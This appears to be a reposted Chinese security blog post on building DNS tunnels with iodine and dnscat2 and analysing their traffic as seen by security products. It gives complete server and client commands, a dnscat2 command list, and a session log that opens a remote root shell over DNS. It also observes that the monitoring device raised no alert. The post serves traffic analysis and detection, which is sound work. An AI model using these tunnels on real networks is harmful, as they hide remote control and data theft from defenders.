首页 > 其他分享 >【流量分析】基于安全产品DNS隧道流量分析

【流量分析】基于安全产品DNS隧道流量分析

时间:2024-12-18 13:08:49浏览次数:9  
标签:分析 -- 端口 流量 session command 53 DNS dnscat2

免责声明

本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

域名准备

选择哪家的云都没问题,这里我选择的TX云,因为之前注册过了,自己拿来做个流量分析不成问题。

域名添加解析记录

需要准备自己的vps作为DNS隧道的服务端,且需要添加ns记录

iodined

关闭53端口关闭开机自启

systemctl stop systemd-resolved
systemctl disable systemd-resolved

之后53端口已关闭

启动服务端

iodined -f -c -P 1qaz@WSX 192.168.100.1 ns.xxx.xyz -DD

参数说明

-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。

【客户端】

iodine -f -P 1qaz@WSX ns.aligoogle.xyz -M 200

客户端连接正常,且服务端显示客户端连接成功

查看客户端网卡,因为配置的时候一直不太稳定,所以这里服务端分配的虚拟网卡我更换为了192.168.121.1

测试隧道是否通信

延时比较高,也不稳定。

通过隧道连接目标主机

ssh -p 2222 root@192.168.121.2

这里我换ssh的端口了

但是发现安全设备在连接高危端口的时候无告警

流量分析

抓取dns0网卡的流量

tcpdump -i dns0 port 53 -w file.pcap

参数-i 指定网卡, port 指定端口,DNS使用53端口,-w 写入文件。

查看日志发现所有的流量都是DNS日志,但是目的都为自己的VPS

其实能够根据流量特征识别工具类型。

试错

本来我是想使用穿透工具通过隧道穿透的,这里使用nps做隧道走socks,想走虚拟网卡需要修改nps配置文件

./npc -server=192.168.120.1:63323 -vkey=n4jg3lrvg19qlqth -type=tcp

查看nps上线后,需要做端口转发,不做端口转发无法直接使用虚拟地址的隧道,这里其实没有这么走的意义

但是这里发现行不通,参考了一些文章,发现某位师傅写的有点儿问题,这里大可不必,没有所谓的套层+转口转发,单一走隧道都不稳定以及卡的要死,怎么玩儿套娃。

dnscat2搭建

安装准备

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
curl -sSL https://get.rvm.io | bash
source /etc/profile.d/rvm.sh
rvm install 2.6.0
source /etc/profile.d/rvm.sh
rvm use 2.6.0
gem install bundler

bundle install
ruby ./dnscat2.rb

需要注意这里开放vps的53的udp端口

firewall-cmd --zone=public --add-port=53/udp --permanent
firewall-cmd --reload

国内服务器腾讯云的话需要更换源,下载文件需要安全上网,境内下载tools找不到服务

客户端

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

./dnscat --dns server=IP,port=53 --secret=f361f307f523b07352d0bab1b765a888    //直连模式
./dnscat --dns server=ling.domain --secret=1qaz2wsx             //中继模式

直连模式

【Server】:

【Client】:

中继模式

ruby ./dnscat2.rb ns.domain -e open -c 1qaz2wsx --no-cache

【客户端】:

./dnscat --dns domain=ling.domain --secret=1qaz2wsx   
./dnscat --dns server=www.domain --secret=1qaz2wsx   

【服务端】命令

sessions (列出所有session)
session -i 2 (进入session 2)
shell(创建交互式shell)
suspend(返回上一层)
exit(退出)
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell,此处必须在1::command(kali)中使用)
download/upload(两端之间上传下载文件)
listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口转发,此处)(此处必须在1::command(kali)中使用)
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (ubuntu) 1> whoami
Error: Unknown command: whoami
command (ubuntu) 1> shell
Sent request to execute a shell
command (ubuntu) 1> New window created: 2
Shell session created!
whoami
Error: Unknown command: whoami
command (ubuntu) 1> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (ubuntu) 2> whoami
sh (ubuntu) 2> root

tcpdump -i dns0 port 53 -w file.pcap

流量包内的数据内容

请求包和回包区别不大,在返回包多了域名的信息的TXT记录加密传输信息,可以看到DNS的查询请求的域名信息前的一串数据,里面就是加密过后的交互数据。

其他工具

跟工具关系不大,隧道的话DNS只要ip和域名没标签,其实走的都是udp的协议,所以在安全设备上都是流量数据,其类似的工具有dns2tcp等,但是总体来讲该隧道比较慢不稳定,比较慢且传输不支持大流量传输。

原创 蚁景网络安全

标签:分析,--,端口,流量,session,command,53,DNS,dnscat2
From: https://www.cnblogs.com/o-O-oO/p/18614655

相关文章

  • 【时间序列分析】肯德尔(Kendall)相关系数基础理论及python代码实现
    文章目录1.肯德尔(Kendall)相关系数定义2.什么是秩相关系数3.计算方法4.示例及代码实现4.1示例4.2python代码实现5.优缺点6.适用范围7.与斯皮尔曼相关系数比较8.思考8.1当变量中有重复值时肯德尔(Kendall)相关系数是如何计算的?1.肯德尔(Kendall)相关系数定义......
  • 如何分析和优化SQL语句的执行计划?
    理解执行计划的重要性执行计划是数据库管理系统(DBMS)在执行SQL语句时所采取的步骤和方法的描述。它展示了数据库如何访问表、使用索引,以及以何种顺序连接表等信息。通过分析执行计划,可以找出SQL语句执行效率低下的原因,如全表扫描、不合适的索引使用等,从而有针对性地进行优化。......
  • 鸿蒙Flutter性能调优分析之帧渲染跟踪
    鸿蒙Flutter性能调优性能分析之帧渲染跟踪Flutter应用进行性能分析时,需利用分析工具捕获应用的trace数据,并对其进行分析。鉴于Flutter应用中可能会出现需要单独追踪某帧渲染的情况,如帧率卡顿或帧丢失,本文特介绍了一种针对单帧追踪的方法。分析工具常用的分析工具包括DevEcoStu......
  • 【MATLAB源码-第248期】基于matlab的EMD算法+ICA算法轴承故障分析。
    操作环境:MATLAB2022a1、算法描述经验模态分解(EMD)与轴承故障识别EMD的基本原理EMD是一种自适应的信号分解技术,最初由Huang等人在1998年提出,旨在分析非线性和非平稳信号。传统的信号处理方法通常假设信号是线性和稳态的,但在实际工程应用中,许多信号,包括轴承振动信号,都......
  • 鸿蒙Flutter性能调优之性能分析定界
    鸿蒙Flutter性能调优之性能分析定界flutter鸿蒙化的工程,也可以使用devtools对Dart代码进行调试.前置条件OpenHarmonyNext系统前台运行Flutter页面分析工具DevEcoStudioProfilerSmartPerfFlutter线程介绍Flutter使用多个线程来完成其必要的工作,图层中仅展示了其中两......
  • 面试官:DNS解析都整不明白,敢说你懂网络?我:嘤嘤嘤!
    一、写在开头在OSI七层协议模型中应用层是距离我们最近,且日后开发使用到最多的一层,在上一篇博文中我们已经学习了应用层中的HTTP协议,在本文中我们再一起来学一下DNS。啥?DNS不是很了解?那还不快往下看!❝其实早几年和一个朋友聊天,当时,他是一个网络条线的技术经理,向我吐槽说,现在来......
  • 【Python】【数据分析】深入探索 Python 数据可视化:Matplotlib 绘图库完整教程
    目录引言一、什么是Matplotlib?1.1Matplotlib的安装1.2Matplotlib的基本功能二、Matplotlib的基础绘图2.1绘制折线图2.2绘制柱状图2.3绘制散点图2.4绘制饼图三、高级功能与定制3.1设置图表样式3.2使用子图3.3保存图表四、Matplotlib流程图4.1Mermaid流......
  • java 插入排序,原理、算法分析、实现细节、优缺点以及一些实际应用场景
    更多资源推荐:http://sj.ysok.net/jydoraemon提取码:JYAM实用优质资源/教程公众号【纪元A梦】 ###插入排序的详细解析探讨插入排序,包括其工作原理、算法分析、实现细节、优缺点以及一些实际应用场景。####1.基本概念插入排序是一种简单的排序算法,其核心思想是将数组分为已排......
  • 小程序xcxCode逆向分析
    数据爬取与xcxCode逆向分析一、声明本文章中所有内容仅供学习交流使用,不用于其他任何目的。不提供完整代码,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本......
  • FloEFD单管道水冷板热设计仿真分析与VIP直播答疑
     ......